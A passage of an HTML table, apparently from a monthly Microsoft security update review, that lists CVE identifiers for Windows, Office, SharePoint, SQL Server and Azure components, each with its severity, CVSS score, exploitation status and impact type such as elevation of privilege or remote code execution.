  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
